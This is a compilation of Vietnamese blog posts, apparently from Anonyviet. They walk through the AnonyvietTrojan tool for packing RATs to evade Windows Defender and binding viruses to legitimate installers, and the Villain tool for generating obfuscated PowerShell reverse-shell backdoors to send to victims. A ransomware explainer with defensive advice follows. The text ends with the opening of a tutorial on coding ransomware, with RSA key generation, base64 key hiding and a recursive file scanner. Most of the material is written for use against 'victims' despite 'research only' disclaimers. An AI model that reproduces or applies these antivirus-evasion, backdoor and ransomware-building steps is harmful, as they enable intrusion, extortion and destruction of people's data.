Lúc này bạn hãy kiên nhẫn chờ đợi nhé, quá trình Setup diễn ra khá lâu, cho nên trước khi setup bạn hãy kiểm tra đường truyền mạng có kết nối thật ổn định tránh làm mất nhiều thời gian. Trong quá trình setup, bạn thấy 1 cửa sổ hiện ra đó chính là Wine. Được biết Wine là một công cụ chạy file exe trên Linux, vậy nên bắt buộc chúng ta cần phải có Wine trên máy thì tool mới hoạt động được, nhưng các bạn đừng quá lo về việc cài đặt Wine bởi vì khi bạn chạy setup.py thì toàn bộ sẽ được cài đặt tự động. Việc của bạn bây giờ là hãy chọn vào ô Windows versions rồi chọn Windows 10 tiếp đến nhấn Apply và nhấn OK

Bước tiếp theo Wine sẽ thực thi file Setup cài đặt Python của hệ điều hành Windows. Và bạn chỉ cần kích chọn vào Add Python3.9 to PATH sau đó là Installl Now

Khi Python For Widows đc Setup hoàn tất thì bạn hãy nhấn Close để kết thúc quá trình setup cho tool AnonyvietTrojan

Bây giờ bạn nhập lệnh sudo python3 at.py để vào Menu của tool nhé. Vậy là mình đã vào được tool. Ở đây mình sẽ test chức năng mới đó là đính kèm virus. Cách thức đính kèm virus này là khá nguy hiểm nhưng nó cũng có 1 số nhược điểm của nó

Ở đây mình điền đường dẫn có chứa file virus .exe sau đó là nhập đường dẫn có chứa phần mềm như là Unikey, Chrome,… và cách này thao túng tâm lý nạn nhân khá cao. Lưu ý là tool AnonyvietTrojan chỉ hỗ trợ cho các Virus có đuôi .exe thôi nhé. Mình chưa có chuẩn bị file phần mềm để đính kèm nên mình sẽ đính kèm cả 2 con virus vào luôn :>

Sau khi hoàn tất các bước trên bạn chỉ cần bấm phím enter là toàn bộ quá trình sẽ tự động Build ra file exe cho bạn

Và sau đây là kết quả khi nạn nhân thực thi backdoor của mình

Đây là video demo lại toàn bộ quá trình được thực hiện Tại Đây

Vậy là bài viết đến đây là hết, chúc các bạn có một ngày thật vui vẻ, học tập và làm việc hiệu quả. See you again !

Bạn cũng có thể đọc bài viết Villain – Bypass AntiVirus chiếm quyền Shell Windows và Linux tại website Anonyviet

Câu hỏi thường gặp

AnonyvietTrojan v1.2 hỗ trợ hệ điều hành nào?

Phiên bản AnonyvietTrojan v1.2 hỗ trợ cả Windows và các hệ điều hành Linux như Kali Linux, Parrot OS, v.v.

Chức năng chính của AnonyvietTrojan v1.2 là gì?

AnonyvietTrojan v1.2 mã hóa các virus (định dạng .exe) để tránh bị phát hiện bởi phần mềm diệt virus. Phiên bản 1.2 có chức năng đính kèm virus vào các phần mềm khác (trên Windows).

Có cần cài đặt thêm phần mềm nào để sử dụng AnonyvietTrojan v1.2 trên Linux không?

Trên Linux, bạn cần cài đặt Wine để chạy công cụ này. Quá trình cài đặt Wine được thực hiện tự động trong quá trình setup của AnonyvietTrojan.

Lưu ý: Bài viết chỉ dành cho mục đích nghiên cứu, mọi hành vi bất hợp pháp gây ra Anonyviet không chịu toàn bộ trách nhiệm đó

Villain – Công cụ chiếm quyền Shell Windows và Linux

Villain là một công cụ tạo backdoors Windows và Linux và có một chức năng mình khá thích đó là công cụ này có thể kết nối 2 hoặc nhiều máy lại với nhau để làm việc, nó giống như 2 hoặc nhiều hacker chiếm quyền điều khiển 1 hệ thống nào đó.

Công cụ được làm bởi tác giả t3l3machus là người kiểm tra thâm nhập và cũng là nhà nghiên cứu an ninh mạng. Không chỉ vậy, tool Villain được lấy ý tưởng từ tool Hoaxshell . Villain được viết hoàn toàn bằng ngôn ngữ Python3 và cách sử dụng cũng khá đơn giản cho người dùng. Villain được tích hợp sẵn chức năng auto-obfuscate payload để hỗ trợ người dùng vượt qua AntiVirus (dành cho payload của Windows). Do đó, payload không bị phát hiện (tại thời điểm hiện tại). Những payload do Villain tạo ra đều đc viết bằng ngôn ngữ Powershell.

Cách cài đặt và sử dụng Villain

Để cài đặt tool thì bạn hãy mở terminal lên và nhập các lệnh sau:

git clone https://github.com/t3l3machus/Villain
cd Villain
pip install -r requirements.txt hoặc pip3 install -r requirements.txt

Sau khi thực hiện bước trên, bây giờ bạn hãy khởi động tool qua lệnh sau:

python Villain.py hoặc python3 Villain.py (tùy thuộc vào phiên bản Python mà bạn đang sử dụng)

Bây giờ, bạn nhập câu lệnh help để xem hướng dẫn, để tạo được backdoors thì đầu tiên bạn cần chú ý đến lệnh generate nghĩa là tạo, còn os= mình sẽ  chiếm quyền Shell Windows nên mình sẽ chọn hệ điều hành là windows còn bạn muốn chọn Linux thì hãy nhập os=linux tiếp theo là lhost= bạn sẽ nhập địa chỉ IP hoặc là interface mà bạn đang sử dụng, ở đây mình sẽ nhập interface là lhost=ens33 tiếp đến là obfuscate từ khóa này sẽ làm xáo trộn code virus nhằm bypass AntiVirus

Sau khi hoàn thành các bước trên, việc của bạn bây giờ nhấn enter để tool tự động tạo ra một đoạn code, đoạn code này khi được thực thi trên máy nạn nhân thì nó sẽ tự động chạy ngầm và gửi thông báo về cho hacker là đã chiếm quyền shell thành công.

Bạn chỉ cần copy đoạn code đó và mở Powershell lên chạy thử xem sao nhé, ngoài ra bạn có thể tạo ra 1 file .ps1 rồi paste đoạn code đó vào sau đó gửi cho nạn nhân hoặc là đính kèm vào file gì đó tùy các bạn, nên nhớ là không gây hành vi bất hợp nhé. Giờ mình sẽ mở Powershell lên và paste nó vào chạy thử xem sao ^^.

Như kết quả hình bên dưới thì Villain đã gửi thông báo là backdoors đã được thực thi trên máy của nạn nhân

Để điều khiển máy tính nạn nhân thì bạn làm như sau, đầu tiên nhập lệnh sessions đây là câu lệnh sẽ show ra các máy đã bị chiếm quyền . Bạn thấy rằng, Sessions ID là ID máy nạn nhân, tiếp đến là địa chỉ IP, hệ điều hành, tên user. và bây giờ để bắt đầu điều khiển shell thì chúng ta nhập sessions <session id máy nạn nân>

ví dụ như là: shell jhjadbae-823cgfsa-8263hfvd-shfvd678

Video demo về tool Villain: https://youtu.be/NqZEmBsLCvQ

Bài viết đến đây là đã hết rồi, chúc các bạn có một ngày tốt lành!

Câu hỏi thường gặp

Villain là gì và nó hoạt động như thế nào?

Villain là một công cụ mã nguồn mở được viết bằng Python, cho phép tạo backdoor trên hệ điều hành Windows và Linux. Nó tạo ra payload (mã độc) tự động được mã hóa để vượt qua một số phần mềm diệt virus, cho phép hacker chiếm quyền điều khiển máy tính nạn nhân từ xa.

Tôi có thể sử dụng Villain để làm gì?

Villain được thiết kế cho mục đích nghiên cứu an ninh mạng. Việc sử dụng nó cho các hoạt động bất hợp pháp là vi phạm pháp luật và không được khuyến khích. Chỉ sử dụng công cụ này trong môi trường được phép và có sự đồng ý của chủ sở hữu hệ thống.

Payload được tạo bởi Villain có khả năng vượt qua tất cả các phần mềm diệt virus không?

Không. Mặc dù Villain có chức năng tự động mã hóa payload để tăng khả năng vượt qua phần mềm diệt virus, nhưng không có gì đảm bảo nó sẽ hiệu quả 100%. Khả năng phát hiện của phần mềm diệt virus liên tục được cập nhật.

Lưu ý: Bài viết này chỉ dành cho mục đích giáo dục. Mọi hành vi bất hợp pháp Anonyviet sẽ không chịu toàn bộ trách nhiệm

AnonyvietTrojan v1.1 – Cập nhật chức năng mã hóa RAT và vượt qua Windows Defender

Trước khi vào bài viết mình muốn bạn tìm hiểu về RAT là gì ? và cách thức hoạt động của nó ra sao thì hãy đọc bài viết này của Anonyviet nhé

Bài viết trước mình đã giới thiệu về AnonyvietTrojan v1.0 và công cụ cũng có ưu và nhược điểm của nó. Công cụ này chỉ hoạt động trên phiên bản Python 3.9 ( download Python phiên bản 3.9 tại đây), các phiên bản Python khác thì sẽ không hoạt động được đâu nhé. Và có rất nhiều bạn bảo tool lỗi NSudo và lỗi mã hóa code. Và trong phiên bản này thì tool đã được fix và hoạt động tốt hơn rất nhiều và Anonyviet đã fix hết lỗi đó và thêm tính năng đó là mã hóa rat, và như bạn đã biết rồi đó công cụ này chỉ vượt qua Windows Defender thôi nhé, máy nạn nhân cài thêm AntiVirus thứ 2 vào là coi như không hoạt động. Đến đây, chắc hẳn cũng sẽ có nhiều bạn hỏi rằng: “Tại sao mã hóa rồi lại chỉ vượt qua được mỗi Windows Defender ?” thì mình sẽ giải thích qua ví dụ sau nhé.

Ví dụ mình có một file virus.exe được mã hóa bởi base64 có dạng như sau: YW5vbnl2aWV0dHJvamFu sau khi đưa file virus.exe vào tool AnonyvietTrojan thì tool sẽ tự động mã hóa nó bằng base64 như trên và sau đó tool sẽ thay đổi các chữ cái và số trong mã base64, ví dụ mình thay Y là kí tự *,  a là kí tự | và J sẽ là >  thì mã base64 của mình đã thay đổi và mình đặt tên cho mã này là base64fake: *W5vbnl2|WV0dH>vamFu và như vậy chúng ta đã thấy sự thay đổi của nó nhưng nó sẽ không thể nào mà decode lại được nếu decode lại thì nó sẽ lỗi. Chính vì vậy, Windows Defender sẽ không coi đây là virus.

Lúc này tool sẽ lưu trữ mã base64fake đó và biên dịch sang 1 file exe khác và mình đặt tên cho là kocovirus.exe . Khi nạn nhân tải file kocovirus.exe và chạy nó thì Windows Defender sẽ không quét các tệp exe và sau đó mã base64fake của mình sẽ tự động thay đổi lại thành mã base64 ban đầu như trên, tiếp đến kocovirus.exe sẽ tự động decode mã base64 đó thành 1 file virus.exe và rat của bạn tự động chạy ngầm trên máy nạn nhân mà không bị Windows Defender xóa mà chúng ta thường gọi nó là Backdoor đấy !. Và sau đây là cách sử dụng

Để sử dụng tool thì hãy download tại đây nhé (pass giải nén: anonyviet). Khi giải nén xong bạn hãy mở cmd lên và trỏ đến thư mục AnonyvietTrojan và nhập lệnh setup cho tool python setup.pykhi setup xong bạn hãy nhập lệnh python anonyviet-trojan.py để vào tool. Ở đây mình chọn số 2 đó là mã hóa rat sau đó bấm enter

Tiếp đến bạn hãy nhập đường đường dẫn hoặc kéo thả file rat của bạn vào, và mình đặt tên cho program mới là setup “nhằm thao túng tâm lý”, tên payload thì bạn để tên uy tín một xíu ví dụ như là: svhost, system,… sau đó bạn đặt icon cho program thì nhấn y và Enter sau đó nhập đường dẫn chứa file .ico của bạn hoặc kéo thả vào cũng được, còn bạn không thích đặt icon thì nhấn n sau đó enter và chọn 1 trong 2 công cụ để biên dịch.

Ở đây thì mình chọn Nuitka để biên dịch sang ngôn ngữ C và tự động sang exe luôn, Nuitka thì khả năng rat vượt qua Windows Defender sẽ cao hơn rất nhiều nhé nên Anonyviet mới thêm nó vào. Sau khi hoàn tất chúng ta sẽ đợi vài giây để nó build

Bạn nào mà sử dụng Nuitka trong quá trình Generating mà gặp trường hợp này thì hãy yes all hết nhé

Khi build xong file exe của bạn sẽ được lưu trong thư mục Output

Và bây giờ bạn hãy mở máy ảo nên để thử xem RAT có qua mắt được Windows Defender không nhé!

Bài viết này được thực hiện để nghiên cứu, vui lòng không sử dụng vào mục đích vi phạm pháp luật

Vậy là bài viết đến đây là kết thúc. Bạn nào yêu thích công cụ này hãy để lại bình luận phía dưới để mình sẽ làm thêm 1 số chức năng và hỗ trợ tool chạy được trên Kali Linux. Chúc bạn có một ngày tốt lành !

Bạn cũng có thể đọc thêm bài viết AnonyvietTrojan – Công cụ giúp Virus vượt qua Windows Defender trên website Anonyviet

Câu hỏi thường gặp

AnonyvietTrojan v1.1 hoạt động trên hệ điều hành nào?

Phiên bản hiện tại yêu cầu Python 3.9. Các phiên bản Python khác có thể không tương thích.

Công cụ này có vượt qua được tất cả các phần mềm diệt virus không?

Không. AnonyvietTrojan v1.1 chủ yếu tập trung vào việc vượt qua Windows Defender. Các phần mềm diệt virus khác có thể vẫn phát hiện được.

Tôi có thể sử dụng AnonyvietTrojan v1.1 cho mục đích gì?

Bài viết này chỉ nhằm mục đích giáo dục và nghiên cứu. Việc sử dụng công cụ này cho bất kỳ mục đích bất hợp pháp nào đều bị nghiêm cấm và người dùng tự chịu trách nhiệm.

Lưu ý: Bài viết này chỉ dành cho mục đích nghiên cứu. Anonyviet sẽ không chịu toàn bộ trách nhiệm cách hành vi bất hợp pháp từ công cụ này !

AnonyvietTrojan – Công cụ giúp Virus vượt qua Windows Defender

AnonyvietTrojan là một công cụ được viết bằng ngôn ngữ Python được phát triển bởi VanSon và Anonyviet, cách sử dụng cũng khá đơn giản bạn chỉ cần chuẩn bị sẵn một đường link tải trực tiếp (direct link) có chứa virus của bạn để tiến hành tải trực tiếp về máy nạn nhân ( Để sử dụng công cụ này yêu cầu bạn phải tải Python3 về máy nhé )

Và cách thức hoạt động của tool như sau: bạn chỉ cần nhập các thông tin mà công cụ yêu cầu sau đó sẽ build ra 1 file exe, khi nạn nhân kích hoạt file exe đó Windows Defender sẽ không quét các tệp exe, và ngay lúc đó đường link có chứa virus của bạn sẽ được tự động tải về máy nạn nhân và tự động thực thi file virus đó. Nhờ vậy, virus có thể chạy mà không bị Windows Defender xóa đi.

Nhưng có một số nhược điểm của tool đó là: chỉ hỗ trợ cho các virus có đuôi .exe, vượt qua được mỗi Windows Defender, nếu máy nạn nhân có cài thêm 1 số Antivirus khác thì kết quả sẽ không được như mong muốn. Và công cụ chỉ đang mới phát triển trên hệ điều hành Windows vậy nên sẽ không có bản dành cho Linux

Như vậy, đó là toàn bộ thông tin về tool AnonyvietTrojan. Đây cũng là phiên bản đầu tiên nên chắc chắn sẽ không có nhiều chức năng. Sang phiên bản sau Anonyviet sẽ cung cấp thêm 1 số chức năng thú vị cho tool nếu bản này được nhiều bạn thích ^^. Không nói nhiều nữa, chúng ta sẽ vào phần cách sử dụng thôi !

Cách sử dụng công cụ AnonyvietTrojan

Download AnonvietTrojan

Backup

Mật khẩu giải nén: anonyviet

Sau khi giải nén xong bạn hãy mở cmd lên và trỏ đến thư mục AnonyvietTrojan rồi chạy file setup.py bằng cách nhập lệnh python setup.pysau đó hãy chọn phiên bản pip mà bạn đang sử dụng để tiến hành setup cho tool. Ở đây mình sử dụng pip thường nên mình chọn số 0 và nhấn enter

Khi setup hoàn tất, bạn nhập lệnh python anonyviet-trojan.py để sử dụng. Và mình đã cung cấp cho tool 1 đường link tải trực tiếp có chứa payload của Njrat để tải virus trực tiếp về máy ảo của mình để test Virus, và tên chương trình (program name) mình đặt là SetupProgram nhằm nhằm tự “thao túng tâm lý”, output mình để là anonyviet-trojan, ngoài ra bạn cũng có thể để output name là Chrome, gamevui,… còn payload name thì bạn nên đặt 1 cái tên uy tín 1 xíu như là notepad, svhost, calc,… và còn 1 cái nữa đó là icon, bạn có thể sử dụng icon khác bằng cách chọn y rồi nhập đường dẫn có chứa file .ico của bạn để thay đổi icon còn mình thì chọn n để cho icon mặc định

Sau khi build hoàn tất file exe của bạn sẽ được đưa vào thư mục Ouput

Bây giờ khi kích hoạt file  .exe ở trong thư mục Output, Windows Defender sẽ không phát hiện do file bị được làm rối mã. Hiện tại thì vẫn có thể bypass được, nhưng có thể sắp tới sẽ bị quét nhé.

Đây là kết quả:

Toàn bộ quy trình đều được thực hiện qua clip này (video chất lượng không tốt cho lắm, các bạn thông cảm nha ^^)

Vậy là bài viết đến đây là hết rồi, chúc các bạn sử dụng tool vui vẻ ! Nếu bạn yêu thích công cụ này hãy bình luận phía dưới để Anonyviet sẽ cung cấp thêm 1 số chức năng thú vị cho tool nhé !

Bạn cũng có thể đọc thêm bài viết của Anonyviet 6 công cụ tìm kiếm Hacker thường dùng để tìm lỗ hổng 

Câu hỏi thường gặp

AnonyvietTrojan hoạt động như thế nào?

AnonyvietTrojan là một công cụ Python tạo ra file .exe chứa mã độc. Khi file .exe được chạy, Windows Defender sẽ không phát hiện, cho phép mã độc tải và thực thi.

AnonyvietTrojan có những hạn chế gì?

Công cụ chỉ hỗ trợ virus .exe và chủ yếu vượt qua Windows Defender. Các phần mềm diệt virus khác có thể vẫn phát hiện được. Hiện tại chỉ hỗ trợ hệ điều hành Windows.

Tôi có thể sử dụng AnonyvietTrojan cho mục đích gì?

Bài viết này chỉ dành cho mục đích nghiên cứu. Việc sử dụng AnonyvietTrojan cho các hoạt động bất hợp pháp là hoàn toàn không được khuyến khích và người dùng sẽ tự chịu trách nhiệm.

Ransomware hoạt động như thế nào?

Đặc điểm nổi bật của ransomware là nó được sử dụng như một công cụ tống tiền và có nhiều cách khác nhau để tội phạm mạng sử dụng loại phần mềm độc hại này để giành quyền truy cập vào thiết bị của nạn nhân. Một trong những cách phổ biến nhất là email lừa đảo — nạn nhân được gửi email có đính kèm file độc hại và sẽ lây nhiễm vào máy tính của nạn nhân khi chúng được mở.

Sau khi chiếm đoạt thành công máy tính của nạn nhân, những kẻ tấn công tiếp tục mã hóa một số hoặc tất cả các tệp của người dùng, như tài liệu Word, PDF, hình ảnh, cơ sở dữ liệu,… Phần mềm tống tiền cũng có thể khai thác toàn bộ lỗ hổng mạng, có thể lây lan sang các hệ thống khác và thậm chí trên toàn bộ tổ chức.

Vào cuối cuộc tấn công, tin tặc sẽ gửi cho nạn nhân một tin nhắn giải thích rằng các tệp của họ hiện đã bị mã hóa và chỉ có thể được giải mã nếu trả tiền chuộc. Tiền chuộc thường được yêu cầu dưới hình thức thanh toán Bitcoin không theo dõi được để trả cho kẻ tấn công.

Mục tiêu của Ransomware?

Mục tiêu ransomware có thể là người tiêu dùng cá nhân, các doanh nghiệp vừa và nhỏ hoặc các tổ chức doanh nghiệp lớn hơn. Việc bọn tội phạm chọn mục tiêu như thế nào thường phụ thuộc vào cơ hội. Ví dụ: họ có thể nhắm đến các nhóm có đội bảo mật nhỏ hơn như các trường đại học do khả năng bảo mật yếu hơn và mức độ chia sẻ tệp cao.

Một mục tiêu phổ biến khác là các tổ chức có nhiều khả năng trả tiền chuộc trong thời gian ngắn hơn. Các cơ quan chính phủ, ngân hàng, công ty luật và cơ sở y tế đều thuộc loại này, vì họ có thể cần quyền truy cập ngay lập tức vào các tệp khách hàng nhạy cảm và sẽ sẵn sàng trả tiền chuộc hơn nếu đổi lại sự im lặng về các vi phạm tài chính của tổ chức đó.

Cuối cùng, tội phạm thường nhắm mục tiêu vào các tổ chức công ty lớn với hy vọng kiếm được nhiều tiền hơn. Các cuộc tấn công ransomware trong danh mục này thường tập trung vào các doanh nghiệp ở Anh, Hoa Kỳ và Canada do số lượng sử dụng máy tính cá nhân cao.

Các loại Ransomware

Trong khi có vô số chủng loại ransomware, hầu hết các cuộc tấn công thuộc hai loại chính: Crypto ransomware và locker ransomware.

• Crypto ransomware hoạt động bằng cách mã hóa các tệp máy tính nhạy cảm của nạn nhân và yêu cầu tiền chuộc trước khi có thể khôi phục tệp.
• Locker ransomware không mã hóa các tập tin. Thay vào đó, nó xâm phạm các chức năng máy tính cơ bản và khóa nạn nhân hoàn toàn khỏi thiết bị của họ cho đến khi trả tiền chuộc.

Mức độ nghiêm trọng do một cuộc tấn công ransomware gây ra sẽ phụ thuộc vào biến thể của ransomware đang được sử dụng và các phương pháp giải quyết sẽ khác nhau tùy thuộc vào loại ransomware.

Ví dụ về ransomware

Mặc dù ransomware chỉ mới xuất hiện được vài thập kỷ, nhưng nó đã có những bước phát triển nhanh chóng trong 5 năm qua nhờ sự tiến bộ của các phương thức thanh toán không thể theo dõi như Bitcoin. Dưới đây là một số vụ tấn công kinh khủng nhất từ trước đến nay.

1. CryptoLocker

CryptoLocker là một trong những cuộc tấn công ransomware trên diện rộng đầu tiên sử dụng mã hóa khóa công khai. Cuộc tấn công năm vào 2013 này đã đặt nền móng cho ransomware hiện tại và đã xâm nhập hơn 500.000 máy từ năm 2013 đến năm 2014. Thanh toán được yêu cầu trả dưới dạng Bitcoin và vào thời điểm đó, các chuyên gia tin rằng phần mềm độc hại đang được sử dụng là không thể xâm nhập.

Đến năm 2014, một công ty bảo mật cuối cùng cũng có quyền truy cập vào một máy chủ liên quan đến cuộc tấn công và khôi phục thành công các khóa mã hóa, nhưng những kẻ tấn công vẫn cố gắng tống tiền gần 3 triệu USD trước khi chúng phá sản.

2.WannaCry

WannaCry là một cuộc tấn công năm 2017, lây lan trên 150 quốc gia nhằm vào các lỗ hổng bảo mật trong phần mềm Windows. Cuộc tấn công đã lây nhiễm cho 230.000 thiết bị trên toàn thế giới, khóa người dùng khỏi máy tính của họ cho đến khi trả tiền chuộc bằng Bitcoin.

Cuộc tấn công WannaCry hoạt động bằng cách khai thác một lỗ hổng hệ điều hành được phát hiện là đã xuất hiện từ rất lâu trước khi cuộc tấn công xảy ra và sự kiện này đã làm sáng tỏ hệ thống bảo mật lỗi thời. Trên toàn cầu, WannaCry gây ra thiệt hại tài chính trung bình 4 tỷ USD.

3. NotPetya

NotPetya là một cuộc tấn công toàn cầu năm 2017 chủ yếu nhắm vào Ukraine. Ban đầu, nó được cho là một dòng Petya ransomware mới – một dạng phần mềm độc hại lây nhiễm vào máy tính mục tiêu, mã hóa dữ liệu và đòi tiền chuộc bằng bitcoin để khôi phục tệp. Tuy nhiên, NotPetya sau đó được coi là một dòng ransomware hoàn toàn mới được gọi là wiper, với mục đích duy nhất là phá hủy dữ liệu bị xâm phạm thay vì trả lại để đòi tiền chuộc.

4. BadRabbit

BadRabbit là một dòng ransomware đã lây nhiễm cho các công ty truyền thông trên khắp nước Nga và Đông Âu vào năm 2019. Cuộc tấn công được thực hiện thông qua việc phát tán bản cập nhật Adobe Flash giả mạo để lây nhiễm thiết bị của nạn nhân khi tải xuống, hướng họ đến trang thanh toán nơi đòi tiền chuộc bằng Bitcoin. Không giống như cuộc tấn công NotPetya, BadRabbit sẽ giải mã file nếu nhận được khoản tiền chuộc.

Cách bảo vệ bản thân khỏi Ransomware

Như với bất kỳ mối đe dọa an ninh mạng nào, các phương pháp phòng ngừa hầu như luôn tốt hơn là tìm cách chữa trị khi đã quá muộn. Thực hiện theo các phương pháp phòng ngừa tốt nhất dưới đây để giảm thiểu nguy cơ bị tấn công.

• Sao lưu dữ liệu: Cách tốt nhất để tránh bị mã hóa các tệp nhạy cảm là sao lưu dữ liệu định kỳ. Tốt nhất là thực hiện việc này trên đám mây hoặc bằng ổ cứng ngoài. Nếu bạn gặp phải một cuộc tấn công, bạn chỉ cần xóa thiết bị của mình và cài đặt lại các tệp bằng bản sao lưu đó.
• Bảo vệ email: các chiến dịch lừa đảo qua email là một trong những phương tiện phổ biến nhất để phát tán ransomware, vì vậy việc bảo mật email của bạn là rất quan trọng. Ở cấp độ tổ chức, việc trang bị cho nhân viên của bạn khả năng nhận ra các email đáng ngờ có thể ngăn chặn một cuộc tấn công trước khi nó có thể gây ra bất kỳ thiệt hại nào.
• Luôn cập nhật hệ thống: Thường xuyên cập nhật phần mềm của bạn là một trong những cách đơn giản nhất để ngăn chặn bất kỳ cuộc tấn công mạng nào. Mỗi bản cập nhật phần mềm có sẵn đều giảm thiểu các lỗ hổng bảo mật mới được tìm thấy, khiến những kẻ tấn công khó khai thác phần mềm lỗi thời hơn.
• Không bao giờ nhấp vào các liên kết đáng ngờ: Cho dù đó là tệp đính kèm trong email hay một liên kết được tìm thấy trên web, đừng bao giờ nhấp vào các liên kết trong thư rác hoặc các trang web không xác định. Chỉ cần nhấp vào một liên kết độc hại cũng có thể bắt đầu quá trình tải xuống tự động, lây nhiễm vào máy tính của bạn ngay lập tức.
• Không tiết lộ thông tin cá nhân: Không bao giờ trả lời email hoặc tin nhắn văn bản từ một nguồn không xác định yêu cầu thông tin cá nhân, ngay cả khi họ tự nhận là người mà bạn tin tưởng.
• Sử dụng phần mềm bảo mật: Cài đặt phần mềm bảo mật đáng tin cậy là một trong những cách dễ nhất để giữ an toàn cho dữ liệu của bạn. Để tăng cường khả năng bảo vệ, hãy chọn một phần mềm cung cấp nhiều hơn các tính năng chống virus— một số có khả năng phát hiện mối đe dọa đa nền tảng có thể giữ an toàn cho tất cả các thiết bị của bạn.

Cách đối phó với các cuộc tấn công bằng Ransomware

Nếu bạn đã bị tấn công bằng ransomware, thì thời gian là điều cốt yếu và điều quan trọng nhất là phải hành động càng nhanh càng tốt. Bạn có thể thực hiện một số bước để giảm thiểu thiệt hại.

• Cách ly thiết bị bị nhiễm virus: Để đảm bảo an toàn cho mạng, bộ nhớ dùng chung và các thiết bị khác của bạn, quan trọng là bạn phải ngắt kết nối thiết bị bị ảnh hưởng khỏi mạng càng sớm càng tốt. Điều này có thể ngăn các thiết bị được kết nối khác bị nhiễm virus.
• Đánh giá tất cả các thiết bị được kết nối khác: Việc cô lập thiết bị bị nhiễm không phải lúc nào cũng đảm bảo rằng phần mềm tống tiền không tồn tại ở nơi khác trên mạng của bạn. Để ngăn nó lây lan, hãy kiểm tra tất cả các thiết bị được kết nối khác và ngắt kết nối bất kỳ thiết bị nào đang hoạt động đáng ngờ.
• Báo cáo với cơ quan chức năng: Ransomware là một loại tội phạm giống như bất kỳ loại tội phạm nào khác cần được báo cáo cho cơ quan thực thi pháp luật. Các nhà chức trách liên quan cũng có quyền truy cập vào các công cụ để truy xuất dữ liệu bị đánh cắp và xác định vị trí của những kẻ tấn công.

Ransomware có thể bị loại bỏ không?

Việc loại bỏ ransomware tùy thuộc vào loại ransomware mà bạn đang xử lý và bạn sẽ cần phải cài đặt phần mềm bảo mật trước khi bị tấn công — nhưng trong một số trường hợp, bạn có thể xóa được. Đây là những gì bạn có thể làm:

• Ngắt kết nối thiết bị bị nhiễm khỏi Internet càng sớm càng tốt để ngăn phần mềm tống tiền phát tán.
• Quét các tệp độc hại và xóa chúng bằng phần mềm bảo mật. Nếu ransomware khóa màn hình máy tính, thì có thể không thực hiện được.
• Lấy lại quyền truy cập vào dữ liệu của bạn bằng công cụ giải mã được kết nối với phần mềm bảo mật. Bước này sẽ phụ thuộc vào phần mềm bảo mật bạn có.
• Khôi phục các tệp đã mất của bạn nếu bạn có bản sao lưu dữ liệu bên ngoài.

Nếu bạn không thể thực hiện các bước trên, tùy chọn còn lại duy nhất là đặt lại máy tính của bạn về cài đặt gốc. Bạn có thể đọc bài viết này để biết cách reset win bằng usb.

Ransomware gây ra mối đe dọa đáng kể cho người tiêu dùng cũng như các công ty, và những kẻ tấn công đang thực hiện các cuộc tấn công ngày càng tinh vi khi công nghệ tiến bộ. Khi nói đến việc bảo vệ bản thân, phòng ngừa hầu như luôn tốt hơn là tìm cách chữa sau cuộc tấn công — điều này có nghĩa là giáo dục bản thân về ransomware và cách sử dụng thiết bị một cách an toàn là điều cần thiết để ngăn chặn mọi cuộc tấn công. Để tăng cường bảo mật, hãy đảm bảo có phần mềm chống virus trên tất cả các thiết bị của bạn để giảm nguy cơ lây nhiễm.

Câu hỏi thường gặp

Ransomware là gì và nó hoạt động như thế nào?

Ransomware là phần mềm độc hại mã hóa tệp của bạn, khóa bạn khỏi hệ thống, và đòi tiền chuộc để giải mã. Nó thường lây lan qua email lừa đảo hoặc các liên kết độc hại.

Tôi có thể bị ảnh hưởng bởi ransomware như thế nào?

Bạn có thể bị nhiễm ransomware bằng cách mở tệp đính kèm email độc hại, nhấp vào liên kết độc hại, hoặc thông qua các lỗ hổng bảo mật trong phần mềm của bạn.

Làm thế nào để tôi bảo vệ mình khỏi ransomware?

Sao lưu dữ liệu thường xuyên, cập nhật phần mềm, sử dụng phần mềm diệt virus, và tránh nhấp vào các liên kết hoặc tệp đính kèm đáng ngờ là những bước quan trọng để bảo vệ mình.

P/s: Bài viết được dịch từ Febi Mudiyanto, và mình sẽ sử dụng ngôi thứ nhất để các bạn dễ hiểu hơn.

Ransomware là gì?

Ransomware giống như phần mềm độc hại hoặc virus máy tính, nhưng với một mục đích là mã hóa dữ liệu và đòi tiền chuộc cho bạn. Dữ liệu của bạn được mã hóa bằng mã hóa bất đối xứng và virus chỉ mã hóa bằng khóa công khai. Có một khóa riêng để giải mã dữ liệu của bạn trở lại, nhưng kẻ tấn công chắc chắn sẽ không đính kèm khóa riêng với virus.

Các bước chuẩn bị để tạo ransomware

Trước khi bạn xây dựng một số chương trình, bạn phải hiểu nó sẽ làm gì. Đây là danh sách các yêu cầu của mình, bạn cũng có thể sử dụng danh sách của riêng mình.

1. Chương trình phải là một tệp thực thi và có icon giống như một tệp tài liệu.

2. Chương trình phải mã hóa dữ liệu bằng khóa công khai

3. Sau khi mã hóa, chương trình phải xóa các tệp gốc và thay đổi phần mở rộng tệp được mã hóa thành “.L0v3sh3”.

4. Chương trình phải hiển thị thông báo có đồng hồ đếm ngược.

Viết chương trình Ransomware

Bước 1 – Tạo khóa cá nhân và khóa công khai

Đoạn code dưới đây dùng để tạo khóa cá nhân (privateKey) và khóa công khai (publicKey). Khá dễ hiểu nên mình sẽ không giải thích thêm.

'''
pip install pycryptodome
'''

from Crypto.PublicKey import RSA

key = RSA.generate(2048)
privateKey = key.export_key()
publicKey = key.publickey().export_key()

# lưu khóa cá nhân vào tệp
with open('private.pem', 'wb') as f:
    f.write(privateKey)

# lưu khóa công khai vào tệp
with open('public.pem', 'wb') as f:
    f.write(publicKey)

print('Private key saved to private.pem')
print('Public key saved to public.pem')
print('Done')

Sau khi chạy file genKey.py, bạn sẽ có 2 tệp là private.pem và public.pem. Các bạn nhớ lưu file private.pem một cách an toàn.

Bước 2 – Mã hóa khóa công khai

Mục đích chính của việc mã hóa là làm cho khóa công khai khó xác định bằng cách phân tích phần mềm độc hại dạng tĩnh. Vì vậy, mình mã hóa khóa công khai bằng base64 và đính kèm khóa đó vào code của mình.

Bạn có thể sử dụng đoạn lệnh này:

import base64
code = "aGkgZnJpZW5kcywgdGhpcyBpcyBiYXNlNjQgZW5jb2Rpbmc=" 
print(base64.b64decode(code))

Vì vậy, bạn có thể mã hóa khóa riêng tư của mình, sau đó giải mã nó trong script.

import base64
with open('public.pem', 'rb') as f:
    public = f.read()
print(base64.b64encode(public))

Bước 3 – Mã hóa một số tệp trong thư mục

def scanRecurse(baseDir):
    for entry in os.scandir(baseDir):
        if entry.is_file():
            yield entry
        else:
            yield from scanRecurse(entry.path)

